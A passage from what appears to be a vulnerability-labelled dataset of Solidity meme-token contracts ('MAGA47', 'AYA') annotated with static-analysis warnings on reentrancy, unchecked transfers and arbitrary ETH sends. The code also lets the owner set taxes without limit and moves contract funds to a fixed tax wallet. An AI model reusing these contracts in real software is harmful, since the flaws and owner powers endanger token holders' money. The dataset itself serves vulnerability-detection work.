WARNING Optimization Issue (constable-states | ID: 59991a9): MAGA47._maxTaxSwap should be constant \n\t// Recommendation for 59991a9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3acb766): MAGA47.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3acb766: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83c7dff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83c7dff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 092335e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 092335e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 83c7dff\n\t\t// reentrancy-benign | ID: 092335e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 83c7dff\n\t\t// reentrancy-benign | ID: 092335e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0910631): MAGA47._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0910631: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 092335e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 83c7dff\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7a57bad): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7a57bad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 14ac5c7): MAGA47.bots is never initialized. It is used in MAGA47._transfer(address,address,uint256)\n\t// Recommendation for 14ac5c7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46fb544): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46fb544: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7a57bad\n\t\t\t\t// reentrancy-eth | ID: 46fb544\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7a57bad\n\t\t\t\t\t// reentrancy-eth | ID: 46fb544\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 46fb544\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 46fb544\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 46fb544\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7a57bad\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 46fb544\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 46fb544\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7a57bad\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7a57bad\n\t\t// reentrancy-events | ID: 83c7dff\n\t\t// reentrancy-benign | ID: 092335e\n\t\t// reentrancy-eth | ID: 46fb544\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6244006): MAGA47.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6244006: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7a57bad\n\t\t// reentrancy-events | ID: 83c7dff\n\t\t// reentrancy-eth | ID: 46fb544\n\t\t// arbitrary-send-eth | ID: 6244006\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7335c45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7335c45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 294fece): MAGA47.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 294fece: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: de0f48f): MAGA47.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for de0f48f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8f1e109): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8f1e109: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7335c45\n\t\t// reentrancy-eth | ID: 8f1e109\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7335c45\n\t\t// unused-return | ID: 294fece\n\t\t// reentrancy-eth | ID: 8f1e109\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7335c45\n\t\t// unused-return | ID: de0f48f\n\t\t// reentrancy-eth | ID: 8f1e109\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7335c45\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8f1e109\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b66d37d): MAGA47.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for b66d37d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: b66d37d\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10152.sol",
"size_bytes": 21101,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ddb0e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ddb0e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9b8a5a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9b8a5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1ddb0e0\n\t\t// reentrancy-benign | ID: f9b8a5a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1ddb0e0\n\t\t// reentrancy-benign | ID: f9b8a5a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f9b8a5a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1ddb0e0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d503008): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d503008: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c4a4ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c4a4ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8e31d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8e31d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: d503008\n\t\t\t\t// reentrancy-eth | ID: 4c4a4ba\n\t\t\t\t// reentrancy-eth | ID: a8e31d5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d503008\n\t\t\t\t\t// reentrancy-eth | ID: 4c4a4ba\n\t\t\t\t\t// reentrancy-eth | ID: a8e31d5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a8e31d5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a8e31d5\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d503008\n\t\t\t\t// reentrancy-eth | ID: 4c4a4ba\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d503008\n\t\t\t\t\t// reentrancy-eth | ID: 4c4a4ba\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4c4a4ba\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d503008\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4c4a4ba\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4c4a4ba\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d503008\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d503008\n\t\t// reentrancy-events | ID: 1ddb0e0\n\t\t// reentrancy-benign | ID: f9b8a5a\n\t\t// reentrancy-eth | ID: 4c4a4ba\n\t\t// reentrancy-eth | ID: a8e31d5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c434b42): Missing events for critical arithmetic parameters.\n\t// Recommendation for c434b42: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: c434b42\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: c434b42\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: c434b42\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: c434b42\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: c434b42\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 32df041): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 32df041: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 32df041\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d503008\n\t\t// reentrancy-events | ID: 1ddb0e0\n\t\t// reentrancy-eth | ID: 4c4a4ba\n\t\t// reentrancy-eth | ID: a8e31d5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 726b45c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 726b45c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1948fbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1948fbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 39ff5cf): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 39ff5cf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 475ab2c): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 475ab2c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 309f6cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 309f6cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n 